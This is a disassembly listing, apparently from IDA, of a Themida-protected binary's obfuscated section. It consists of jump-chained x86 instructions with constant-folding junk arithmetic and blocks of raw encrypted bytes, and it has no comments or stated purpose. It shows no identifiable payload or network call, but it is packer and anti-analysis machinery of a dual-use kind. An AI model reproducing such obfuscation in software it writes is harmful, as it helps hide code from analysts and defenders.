loc_563636:				; CODE XREF: Themida_:00550D0Cj
		push	33FDh
		mov	[esp], eax
		mov	eax, 24h
		sub	eax, 18163665h
		add	eax, edi
		push	ebx
		push	18163665h
		jmp	loc_55BA46
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 582434FFh, 4EC81h, 96E90000h, 84FFFED7h, 0A7E99CC8h
		dd 5BFFFEC1h, 8B24048Fh, 9BE92424h, 51FFFECFh, 0FF85D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563681:				; CODE XREF: Themida_:0055881Cj
		mov	[esp], ecx
		jmp	loc_560B0F
; ---------------------------------------------------------------------------


loc_563689:				; CODE XREF: Themida_:0055A62Cj
		neg	bl
		jmp	loc_55CB4F
; ---------------------------------------------------------------------------
		dd 391B850h, 73BF4D0Fh,	81B2F0FCh, 0FC5987C7h, 8CBE960h
		dd 0C681FFFFh, 0F8E2430Ch, 0E95EF229h, 0FFFFF6B5h
; ---------------------------------------------------------------------------


loc_5636B4:				; CODE XREF: Themida_:0055D662j
		add	esp, 4
		push	ecx
		mov	eax, [esp]
		jmp	loc_558C81
; ---------------------------------------------------------------------------
		dd 2C8BE889h, 4C48324h,	7582C681h, 89E91652h, 81FFFF35h
		dd 7E4E92E2h, 7800E915h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5636DE:				; CODE XREF: Themida_:00559C40j
		mov	ebx, 41BD6503h
		jmp	loc_562BD6
; ---------------------------------------------------------------------------


loc_5636E8:				; CODE XREF: Themida_:0056270Bj
		pop	ecx
		pop	ebx
		xor	eax, [edi+24h]
		push	ecx
		jmp	loc_558E72
; ---------------------------------------------------------------------------


loc_5636F3:				; CODE XREF: Themida_:005601DEj
		push	ebx
		jmp	loc_550C44
; ---------------------------------------------------------------------------


loc_5636F9:				; CODE XREF: Themida_:0055601Ej
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_555FCC
; ---------------------------------------------------------------------------
		dw 1DBAh
		dd 2904E66Eh, 0C28158C2h, 6BF47C6h, 0EA81FA29h,	6BF47C6h
		dd 0E95AD789h, 0FFFF61C9h, 0DB242C81h, 5936AC0Ah, 0FF7CC6E9h
		dd 241C89FFh, 0FC88D788h, 0FF6FE0E9h, 4EC81FFh,	89000000h
		dd 4FBD242Ch, 81257051h, 7A2D7CEFh, 81EF2979h, 7A2D7CC7h
		dd 0EF815D79h, 121016Eh, 0BA52F729h, 121016Eh, 2709C781h
		dd 0D7015F45h, 2709EF81h, 0E95A5F45h, 0FFFF1AF5h, 0F6C2815Fh
		dd 56B8E919h, 8952D689h, 0E63CE9F2h, 5152FFFEh,	0B6B671B5h
		dd 80BDC680h, 0EE007FEEh, 0FF79D7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56379D:				; CODE XREF: Themida_:005505C9j
		add	edx, 1
		xor	[edi+24h], edx
		xor	edx, [edi+24h]
		push	eax
		mov	eax, 24h
		push	ebx
		jmp	loc_556990
; ---------------------------------------------------------------------------


loc_5637B5:				; CODE XREF: Themida_:00562296j
		xor	edx, 6ABE13C8h
		jmp	loc_550DA8
; ---------------------------------------------------------------------------
		dd 0B850D1F7h, 0DF12D705h, 0B5E9C131h
		db 0F2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5637CF:				; CODE XREF: Themida_:00553CE3j
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_54FD00
; ---------------------------------------------------------------------------


loc_5637E6:				; CODE XREF: Themida_:00560B29j
		add	ecx, edi
		pop	edi
		sub	edx, ecx
		pop	ecx
		add	edx, esi
		jmp	loc_556C85
; ---------------------------------------------------------------------------
		db 83h
		dd 0C80004C4h, 0E9D9B551h, 0FFFF3919h, 0ACFD840Fh, 6855FFFFh
		dd 16ACh, 0B9240C89h, 0FEh, 0FEC087E9h,	2BBFFh,	0DD010000h
		dd 81241C8Bh, 4C4h, 242C3300h, 0E9242C31h, 0FFFECCE1h
; ---------------------------------------------------------------------------


loc_563834:				; CODE XREF: Themida_:00561F10j
		mov	ebp, ebx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_559D1E
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 68240C89h, 7D342FD3h, 53BE5659h, 52789553h, 0FF1633E9h
		dd 0BFC581FFh, 8124BA58h, 91010CEDh, 5DE98950h,	1DCAC381h
		dd 0CB0105F0h, 1DCAEB81h, 875905F0h, 665C241Ch,	81240C8Bh
		dd 4ECh, 0D8C7E900h, 0C481FFFEh, 4, 634F68h, 24048900h
		dd 0FFD10AE9h, 2C8B5CFFh, 0B5E95024h
		db 0D4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5638A7:				; CODE XREF: Themida_:00559299j
		add	bx, 7C8h
		add	bx, 670Ch
		add	bx, 34ECh
		sub	bx, si
		sub	bx, 34ECh
		push	ebp
		mov	bp, 4C0Ah
		shl	bp, 3
		inc	bp
		jmp	loc_558854
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 0F0C7951h, 596E9h, 301DB100h, 0CB2858E1h, 0B5686659h
		dd 1489662Bh, 63B35324h, 0F687F380h, 0A64AE9DBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5638F6:				; CODE XREF: Themida_:0055BB1Bj
		push	ebx
		mov	ebx, 0C84720Ch
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_554839
; ---------------------------------------------------------------------------


loc_563907:				; CODE XREF: Themida_:00560E09j
		pop	eax
		pop	edx
		xor	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5585B1
; ---------------------------------------------------------------------------
		db 59h
		dd 815FF829h, 4ECh, 0EB4AE900h,	0C483FFFEh, 0C7E95304h
		dd 8BFFFF2Fh, 0C481242Ch, 4, 0FF6B89E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563941:				; CODE XREF: Themida_:00550975j
		sub	eax, 3124F6D1h
		jmp	loc_559D6C
; ---------------------------------------------------------------------------
		db 52h
		dd 7C701068h, 0EA815A64h, 1F91FFE1h, 55AD589h, 26F7510Bh
		dd 6E4B7705h, 2DE82954h, 546E4B77h, 0F7510B2Dh,	4B055D26h
		dd 1743373h, 734B2DD8h,	41687433h, 89000038h, 69BA2414h
		dd 81798200h, 544DC6EAh, 8C87E932h, 0E957FFFFh,	0FFFF5790h
		dd 562168h, 242C8900h, 4BDh, 0B3BD5500h, 12CA70Dh, 0EA015DEAh
		dd 0DB3EA81h, 2C8B2CA7h, 4C48324h, 0EFB68h, 241C8900h
		dd 0FFD68EE9h, 241C31FFh, 5C241C33h, 24048B66h,	22C268h
		dd 24148900h, 0A871E951h, 0BF57FFFFh, 7A986A12h, 0FF9FD9E9h
		dd 4DFEBEFFh, 0F321423Bh, 1569E95Eh, 505AFFFFh,	0FECB18E9h
		dd 2434FFFFh, 153CE9h
		db 0
; ---------------------------------------------------------------------------


loc_563A0D:				; CODE XREF: Themida_:005519E4j
		mov	[esp], ecx
		push	edx
		push	3490h
		jmp	loc_561788
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0E99C241Ch, 0FFFF4EFCh
; ---------------------------------------------------------------------------


loc_563A24:				; CODE XREF: Themida_:00556323j
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_556A15
; ---------------------------------------------------------------------------


loc_563A2E:				; CODE XREF: Themida_:0055698Bj
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_562E00
; ---------------------------------------------------------------------------
		db 55h
		dd 0FED58EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563A41:				; CODE XREF: Themida_:00563BEBj
		add	[esp+4], eax
		pop	eax
		jmp	loc_555978
; ---------------------------------------------------------------------------
		db 66h
		dd 8124048Bh, 4ECh, 24048900h, 0D1E9E089h, 89FFFF1Dh, 0E589242Ch
		dd 38D6BF57h, 0E7815D39h, 1708656Fh, 2042EF81h,	0FD011508h
		dd 0BEE9E95Fh, 0D029FFFFh, 4EC81h, 3C890000h, 0E84EE924h
		dd 0BE56FFFFh, 0DCD09Dh, 15EF201h, 0D6E95AD6h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563A9F:				; CODE XREF: Themida_:00556EFBj
		add	ebx, 6CB71B41h
		push	ebp
		push	eax
		push	4A7B62B4h
		jmp	loc_554F22
; ---------------------------------------------------------------------------


loc_563AB1:				; CODE XREF: Themida_:00564912j
		pop	ebp
		sub	ebx, 7DB80F7Eh
		push	edi
		push	40944C9Ch
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 33C65460h
		push	eax
		jmp	loc_5578DB
; ---------------------------------------------------------------------------


loc_563AD3:				; CODE XREF: Themida_:00551BA7j
		mov	eax, esp
		add	eax, 4
		jmp	loc_5640EA
; ---------------------------------------------------------------------------
		db 53h
		dd 0E92EB551h, 0FFFFDC91h, 3EEE814Eh, 17B55C1h,	43E95EF2h
		db 3Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563AF7:				; CODE XREF: Themida_:00562B52j
		or	dh, ch
		jmp	loc_558A81
; ---------------------------------------------------------------------------
aVIi@jrq	db 'Vii@JRQ=',0Ah,0
		dw 5114h
		dd 71243481h, 5A7E0553h, 5371F281h, 81597E05h, 7F14EBF2h
		dd 5AD60956h, 0E951D6F7h, 0FFFFF58Bh, 0A2F685Dh, 3C890000h
		dd 7CA5E924h, 1433FFFFh, 0D016E924h, 0EEC1FFFEh, 8EEC107h
		dd 4400EE81h, 3BE90000h, 89FFFFE4h, 4C381E3h, 0E9000000h
		dd 0FFFEF4BAh
; ---------------------------------------------------------------------------


loc_563B60:				; CODE XREF: Themida_:00554913j
		mov	[esp], ebp
		push	ebx
		mov	ebx, 64943234h
		sub	ebx, 3D276E21h
		xor	ebx, 5A5C696Dh
		shr	ebx, 5
		push	ebp
		jmp	loc_561EF2
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 8704EB83h, 895C241Ch, 28BB241Ch, 0F767BD36h, 2EE381DBh
		dd 0C1359852h, 0C38107E3h, 7B5F4BBEh, 4FBAF381h, 0DA017B7Fh
		dd 51241C8Bh, 0C1815954h, 4, 4C181h, 0FF510000h, 59042474h
		dd 8B24048Fh, 0E9562424h, 0FFFFDAECh, 65E95966h
		db 0FBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_563BD7:				; CODE XREF: Themida_:0055F946j
		mov	edi, 588542DCh
		or	edi, 735A5BD4h
		sub	edi, 3427E772h
		add	eax, edi
		pop	edi
		jmp	loc_563A41
; ---------------------------------------------------------------------------


loc_563BF0:				; CODE XREF: Themida_:00556377j
		shl	edx, 5
		xor	edx, 7BBC1E6Dh
		xor	edx, 0D6F9DB40h
		mov	ecx, edx
		pop	edx
		jmp	loc_55B71F
; ---------------------------------------------------------------------------


loc_563C07:				; CODE XREF: Themida_:00562A1Fj
		or	esi, 437561A7h
		not	esi
		jmp	loc_55A7B0
; ---------------------------------------------------------------------------
aIchO		db 'hO',0
		dw 8900h
		dd 0BB532414h, 5D573A22h, 0FFCF17E9h, 241489FFh, 0FFB829E9h
		dd 8ECC0FFh, 88E9C4FEh,	81FFFF44h, 0CF46BAC3h, 5BD80140h
		dd 2199BE56h, 0F0295C9Bh, 0FFE9D1E9h, 240489FFh, 405E089h
		dd 83000000h, 48704C0h,	19E95C24h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563C67:				; CODE XREF: Themida_:0055CCC9j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	esi
		mov	esi, 71287E0Ch
		or	esi, 50E7721Ah
		add	esi, 0FFFFFFFFh
		xor	esi, 71EF7E19h
		add	edx, esi
		jmp	loc_5600A7
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 6AB27DA6h, 35E9D301h, 0B8FFFF91h, 2EE25FD8h,	2F377125h
		dd 0F25E90Ch, 0F2810000h, 5EB92403h, 0E907E2C1h, 0FFFFAFEAh
		dd 0F23DC5BDh, 5DE80102h, 796CC581h, 0C58105B1h, 56CA1661h
		dd 0FFC72DE9h, 242C8BFFh, 4C481h, 4DE90000h, 53FFFFA5h
		dd 0FF453AE9h, 0E18951FFh, 4C181h, 15E90000h, 1FFFFDCh
		dd 62C781C7h, 58118466h, 0FFF28AE9h, 0EC815AFFh, 4, 54242C89h
		dd 5D2434FFh, 0E9E78957h, 0FFFEEECBh, 913A69BAh, 9BCA8146h
		dd 0E9567A12h, 0FFFFFD66h, 4055854h, 2D000000h,	4, 0E9240433h
		dd 0FFFEDCBBh
; ---------------------------------------------------------------------------


loc_563D3C:				; CODE XREF: Themida_:0055BA41j
		sub	ebx, 4
		jmp	loc_562F1F
; ---------------------------------------------------------------------------


loc_563D44:				; CODE XREF: Themida_:0055DE14j
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 79072A6Ch
		push	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 68E973DEh
		mov	edx, 2D4111C1h
		xor	edx, eax
		jmp	loc_55B618
; ---------------------------------------------------------------------------
		dd 7690C981h, 0F18149C4h, 0EBE7F7FDh, 0C8BCE01h, 4C48324h
		dd 0FF8A5FE9h, 4C481FFh, 68000000h, 696Bh, 0FFBE59E9h
		dd 5E5456FFh, 4C681h, 0BB530000h, 4, 0E95BDE29h, 0FFFFDB3Dh
		dd 8704C683h, 685C2434h, 6316h,	0BA241489h, 4, 7E9D701h
		dd 89000006h, 0E954243Ch, 0FFFFD032h, 34335B5Fh, 24343124h
		dd 0FF85D8E9h, 0D56852FFh, 0E900000Dh, 0FFFF259Dh
; ---------------------------------------------------------------------------


loc_563DF4:				; CODE XREF: Themida_:0055566Fj
		add	ecx, edi
		jmp	loc_557A17
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24348900h, 24348B54h, 4C481h, 0C6810000h, 4, 7D28E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563E1A:				; CODE XREF: Themida_:0055E813j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	ebp
		push	40h
		jmp	loc_552AD8
; ---------------------------------------------------------------------------
		dw 0B868h
		dd 0E900001Eh, 0FFFFEEE0h, 9DE9CD31h, 81FFFF7Bh, 0CC9A21F7h
		dd 5FFD29BDh, 5E9EA89h,	81FFFFB5h, 1E745EEEh, 47E95172h
		dd 52FFFECFh, 343983BAh, 7036E943h, 0D1F6FFFFh,	8842E980h
		dd 0D83059CBh, 5B2434FFh, 4EC81h, 0C890000h, 4EC8324h
		dd 68242489h, 152Dh, 0BE243489h, 4, 4247401h, 0FF34A5E9h
		dd 9CE943FFh, 8BFFFEFBh, 0C4812434h, 4,	8B24048Fh, 15E92424h
		dd 87FFFFB2h, 248B2404h, 242CD224h, 0B940E99Ch,	0EF81FFFEh
		dd 5D9971C1h, 7A19C781h, 0D7011D60h, 9DE95152h,	89FFFEBCh
		dd 0D2E9240Ch
		db 3Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563EF3:				; CODE XREF: Themida_:00554256j
		xor	ebx, 685D77BEh
		add	edx, ebx
		jmp	loc_55F99C
; ---------------------------------------------------------------------------
		dd 4C781h, 0C7830000h, 243C8704h, 8124248Bh, 2C6h, 24343300h
		dd 0FF1EE7E9h, 2EEF81FFh, 5A12D849h, 4C781h, 7EE90000h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563F2F:				; CODE XREF: Themida_:00555D4Fj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	5D6E4631h
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		inc	ebx
		push	ecx
		push	edx
		mov	edx, 7D751D90h
		not	edx
		add	edx, 75C46BB4h
		or	edx, 7D867D40h
		jmp	loc_55A5BA
; ---------------------------------------------------------------------------
		dw 0CB87h
		dd 0D3E9D1F7h, 8FFFFFABh, 0EC812404h, 4, 0E9240C89h, 0FFFFCDD3h
		dd 59EAC181h, 3C8B7895h, 4C48324h, 0E9240C87h, 0FFFFE2BFh
		dd 0E9240489h, 0FFFFA179h
; ---------------------------------------------------------------------------


loc_563FAC:				; CODE XREF: Themida_:0055FF47j
		mov	edi, 522C2BA1h
		inc	edi
		jmp	loc_55CAC8
; ---------------------------------------------------------------------------
		db 66h
		dd 2404A30Fh, 0B854E99Ch, 1C89FFFEh, 73E3BB24h,	0C381460Eh
		dd 1AE86E54h, 5BEFE381h, 0DBF73AC8h, 5F1EC381h,	0E952732Dh
		dd 0FFFF36ECh, 24048B66h, 0FF767CE9h, 0F2814AFFh, 7D965E13h
		dd 0AF32BF57h, 0FA295D6Eh, 5AD5315Fh, 0FFDE80E9h, 4678BAFFh
		dd 0EA817252h, 232429F2h, 0FF0170E9h, 81D3F7FFh, 0A05C06E3h
		dd 0E7CB812Ch, 81161176h, 287D36C3h, 5BDA012Bh,	0E95AD589h
		dd 259h, 5C241C87h, 54243489h, 41C6E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564042:				; CODE XREF: Themida_:005546E8j
		push	ebp
		pop	eax
		pop	ebp
		and	edi, eax
		pop	eax
		push	ecx
		mov	ecx, 6AA1EBFh
		jmp	loc_55CEC7
; ---------------------------------------------------------------------------


loc_564053:				; CODE XREF: Themida_:00551A7Cj
		push	esp
		pop	ebp
		push	edi
		jmp	loc_55E818
; ---------------------------------------------------------------------------
		db 66h
		dd 8324048Bh, 348904ECh, 3D7F6824h, 24890000h, 24048124h
		dd 4, 5E2434FFh, 0FF32E7E9h, 4C681FFh, 83000000h, 3C8904ECh
		dd 4BF24h, 0C6810000h, 1C741FE2h, 0E5E9FE01h, 53FFFF4Dh
		dd 736668h, 24048900h, 0C65B7268h, 24048B5Dh, 0FF3904E9h
		dd 7E1235FFh, 0BA521E1Fh, 7F5E6FF1h, 0E95AD329h, 0ADFh
		dd 3734E181h, 814960E4h, 0B30828F1h, 59CB3159h,	449EC381h
		dd 0DBF73C26h, 43FF381h, 0D901C5C5h, 1771E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5640EA:				; CODE XREF: Themida_:00563ADAj
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		pop	esi
		jmp	loc_5644B4
; ---------------------------------------------------------------------------
		db 59h
		dd 0FF7FF9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564101:				; CODE XREF: Themida_:0055239Fj
		sub	ebx, 24512959h
		add	ebx, ebp
		add	ebx, 24512959h
		pop	ebp
		add	ebx, ebp
		sub	ebx, 6F0E60EBh
		sub	ebx, 75B40CCCh
		mov	ebp, [esp]
		jmp	loc_55D066
; ---------------------------------------------------------------------------
		dw 0FD01h
		dd 0FF97E1E9h, 24048BFFh, 4C481h, 48F0000h, 24248B24h
		dd 0E924048Fh, 0FFFEB6D2h, 0FF2434FFh, 53582434h, 0C381E389h
		dd 4, 0FF2F65E9h, 2474FFFFh, 48F5E04h, 22BE5C24h, 0E96480F1h
		dd 0FFFF96E4h, 0FF2434FFh, 81582434h, 4ECh, 242C8900h
		dd 0C5815D54h, 4, 0E904C583h, 0FFFFA496h
; ---------------------------------------------------------------------------


loc_56418C:				; CODE XREF: Themida_:0055CEC9j
		xor	ecx, 6C59C1C4h
		jmp	loc_55BBB8
; ---------------------------------------------------------------------------
		db 0BDh
		dd 1, 34FFEA89h, 54515D24h, 4BE5659h, 1000000h,	0C1815EF1h
		dd 4, 5C240C87h, 3C73D505h, 0E9D0292Ch,	0FFFFCA2Fh, 0FF2434FFh
		dd 50582434h, 8E95854h,	83FFFEC7h, 3C8704C4h, 0E9525C24h
		dd 0FFFEE3E4h, 87E9E588h, 0F7FFFF59h, 0B7CB81DBh, 0E90ABA59h
		dd 0FFFF4AF9h, 3002BA52h, 0D30129C7h, 0E6C3815Ah, 2935A23Ch
		dd 0E6EB81FBh, 5535A23Ch, 0D04500BDh, 0B9E9502Bh, 68FFFFDFh
		dd 5498h, 0FFAB41E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564221:				; CODE XREF: Themida_:00550B3Aj
		mov	[esp], eax
		jmp	loc_54FAB5
; ---------------------------------------------------------------------------
		db 5Bh,	51h, 89h
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 2C6835Ch, 0FFD34DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564245:				; CODE XREF: Themida_:00553B59j
		pop	ecx
		push	7127h
		mov	[esp], edx
		mov	edx, 49F64FA5h
		sub	esp, 4
		jmp	loc_5589A5
; ---------------------------------------------------------------------------
		db 0BBh
		dd 75AD01BEh, 0FF9B1EE9h, 243489FFh, 0FF7FA5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56426D:				; CODE XREF: Themida_:0055AEF3j
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4B82062Dh
		sub	ebx, 4B820629h
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54F816
; ---------------------------------------------------------------------------
		db 29h,	6Ch, 24h
		dd 242C8B04h, 0E904C483h, 0FFFFB8FBh, 4C681h, 0EE810000h
		dd 4, 5C243487h, 0E9241C89h, 0FFFEF499h, 4B951h, 0CB890000h
		dd 5BDD0159h, 0FFF218E9h, 4C483FFh, 5457E581h, 0B8507344h
		dd 34157DBBh, 8158C521h, 2E91B7EDh, 0C13DE9ADh,	0E289FFFFh
		dd 0FFD38CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5642E9:				; CODE XREF: Themida_:00564CF1j
		push	edx
		push	31984E81h
		mov	edx, [esp]
		jmp	loc_55F788
; ---------------------------------------------------------------------------
		db 1
		dd 0EE8158C6h, 4, 8B243487h, 0C892424h,	0F2E95424h, 81FFFF29h
		dd 4C4h, 0FC33000h, 34FFC0B6h, 2A5EE987h, 0EB80FFFFh, 0E9C30010h
		dd 0FFFF492Fh
; ---------------------------------------------------------------------------


loc_56432C:				; CODE XREF: Themida_:00562A5Fj
		mov	eax, esi
		pop	esi
		shr	eax, 2
		xor	eax, 1EE9F815h
		add	ebx, 6D0E0180h
		jmp	loc_557E78
; ---------------------------------------------------------------------------


loc_564342:				; CODE XREF: Themida_:005564DFj
		mov	[esp], edi
		mov	edi, 6D327EF3h
		jmp	loc_5513E2
; ---------------------------------------------------------------------------


loc_56434F:				; CODE XREF: Themida_:0055B508j
		pop	eax
		sub	bl, al
		jmp	loc_553A62
; ---------------------------------------------------------------------------


loc_564357:				; CODE XREF: Themida_:00556F73j
		add	esp, 4
		pop	eax


loc_56435E:				; CODE XREF: Themida_:00550526j
		push	eax
		jmp	loc_555093
; ---------------------------------------------------------------------------


loc_564364:				; CODE XREF: Themida_:0055B84Fj
		mov	[esp], edx
		push	ecx
		push	5C29650Eh
		jmp	loc_557B02
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 0FFF1CBE9h, 240C33FFh, 0E924248Bh, 0FFFEB492h, 0E9D10158h
		dd 0FFFF6086h, 76B3F1B4h, 0D07CCB80h, 0B76AE9E3h, 0ED81FFFFh
		dd 50DC0D61h, 25C0C281h, 0EA8140A9h, 19F12276h,	0BD55EA01h
		dd 2EC229C4h, 505BED81h, 0EDC11FA1h, 5E5C105h, 0FB16F581h
		dd 0C28116D1h, 5290B8Ch, 0B7E9EA01h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5643D3:				; CODE XREF: Themida_:00562E57j
		add	ebp, ebx
		jmp	loc_563354
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 0F6B9E924h, 0CF68FFFEh, 0E9000069h, 0FFFED8D1h, 7C1C2DADh
		dd 3FE978B4h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5643F7:				; CODE XREF: Themida_:0054FC1Dj
		push	dx
		mov	dl, 9Fh
		jmp	loc_556361
; ---------------------------------------------------------------------------


loc_564400:				; CODE XREF: Themida_:0055F8DBj
		pop	esi
		mov	ecx, ebx
		pop	ebx
		jmp	loc_56286A
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 0Dh
		dd 5A2434FFh, 8B04C483h, 54562414h, 4C6815Eh, 83000000h
		dd 348704C6h, 8BE95C24h, 83FFFFE9h, 3C8904ECh, 0EC56824h
		dd 8F540000h, 0E3E92404h, 81FFFF08h, 0CD0CB1EDh, 0EFD3E953h
		dd 8B66FFFEh, 8956240Ch, 52B850E6h, 0E9029323h,	0FFFF231Eh
; ---------------------------------------------------------------------------


loc_56445C:				; CODE XREF: Themida_:00556EC7j
		mov	edi, [esp]
		jmp	loc_554D5C
; ---------------------------------------------------------------------------
		dd 5F0968h, 242C8900h, 0FF779DE9h, 4E983FFh, 5C240C87h
		dd 0FFAAF6E9h, 4C283FFh, 5C241487h, 0F4E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56448A:				; CODE XREF: Themida_:0055A1E5j
		sub	al, ch
		jmp	loc_55A5AE
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0Ah
		dd 11C221Bh, 2C8B5DEFh,	4C48124h, 87000000h, 685C243Ch
		dd 2796h, 0E9240489h, 0FFFF94E1h
; ---------------------------------------------------------------------------


loc_5644B4:				; CODE XREF: Themida_:005640F6j
		pop	ecx
		and	ebx, edx
		jmp	loc_55205E
; ---------------------------------------------------------------------------
		dd 8324048Bh, 0EC8304C4h, 5FD8E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5644CA:				; CODE XREF: Themida_:0055EDFEj
		add	esp, 4
		shl	esi, 1
		sub	esi, 7EF0A9B7h
		mov	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55782D
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 75h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5644EF:				; CODE XREF: Themida_:00558633j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55D3B2
; ---------------------------------------------------------------------------
		db 68h,	3Fh, 39h
		dd 14890000h, 0D6D2E924h, 31ADFFFEh, 2B3868D8h,	1C890000h
		dd 731ABB24h, 0D8314664h, 0FF2434FFh, 815B2434h, 4C4h
		dd 4EC8300h, 89240C89h,	0FCE1E9E1h, 4ACFFFFh, 75CCE93Fh
		dd 0D601FFFFh, 299AE95Ah, 48FFFFFh, 1DAB6824h, 4890000h
		dd 65F9B824h, 0EC052275h, 5657AA4Eh, 8F702FBEh,	0D0F68141h
		dd 1BE708Fh, 662D5EF0h,	0C115CA24h, 0E2E908E0h,	0B8FFFFC5h
		dd 6B6D482Bh, 0C104E8C1h, 222D05E0h, 29D32C15h,	0BFE958C3h
		dd 8BFFFF2Bh, 0C481243Ch, 4, 0E9243487h, 4B9h, 405E089h
		dd 57000000h, 4BFh, 5FF82900h, 0FECADEE9h, 0C0C681FFh
		dd 893F6644h, 0C5815EF5h, 436229C0h, 0FFB1DAE9h, 0C8B54FFh
		dd 4C48324h, 4C181h, 0C1810000h, 4, 7AFF68h, 3960E900h
		dd 0BA52FFFFh, 603C52B9h, 2F5168h, 24348900h, 0FF1BCBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5645F9:				; CODE XREF: Themida_:00555E58j
		push	eax
		push	ebp
		mov	ebp, 56F006E2h
		mov	eax, ebp
		pop	ebp
		jmp	loc_552ED7
; ---------------------------------------------------------------------------


loc_564608:				; CODE XREF: Themida_:00562981j
		add	eax, 2A857EC6h
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_550031
; ---------------------------------------------------------------------------


loc_564639:				; CODE XREF: Themida_:005508BAj
		add	ebx, 0F061FCAh
		jmp	loc_55221F
; ---------------------------------------------------------------------------
		dd 0BB535156h, 36227683h, 4245C31h, 0FFAA12E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564655:				; CODE XREF: Themida_:0054FB46j
		and	edi, 67E82A40h
		shr	edi, 5
		xor	edi, 4029326Eh
		jmp	loc_5542E1
; ---------------------------------------------------------------------------


loc_564669:				; CODE XREF: Themida_:0055B6F6j
		mov	eax, 283C32C0h
		sub	eax, edx
		pop	edx
		add	edx, eax
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55AA6B
; ---------------------------------------------------------------------------


loc_564697:				; CODE XREF: Themida_:0055DAC8j
		add	ebp, eax
		pop	eax
		push	edi
		mov	edi, 396520CDh
		inc	edi
		xchg	ecx, edi
		not	ecx
		jmp	loc_550165
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 730AE924h, 0E929FFFFh, 2434FF5Dh, 0C7B0E95Ah, 34FFFFFFh
		dd 2434FF24h, 0FF65BCE9h, 240489FFh, 0BAE97FB0h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5646D3:				; CODE XREF: Themida_:0055DAD5j
		push	0D16h
		mov	[esp], ecx
		mov	ecx, 7EF343FDh
		sub	edx, 713A467Ah
		sub	edx, ecx
		jmp	loc_561825
; ---------------------------------------------------------------------------
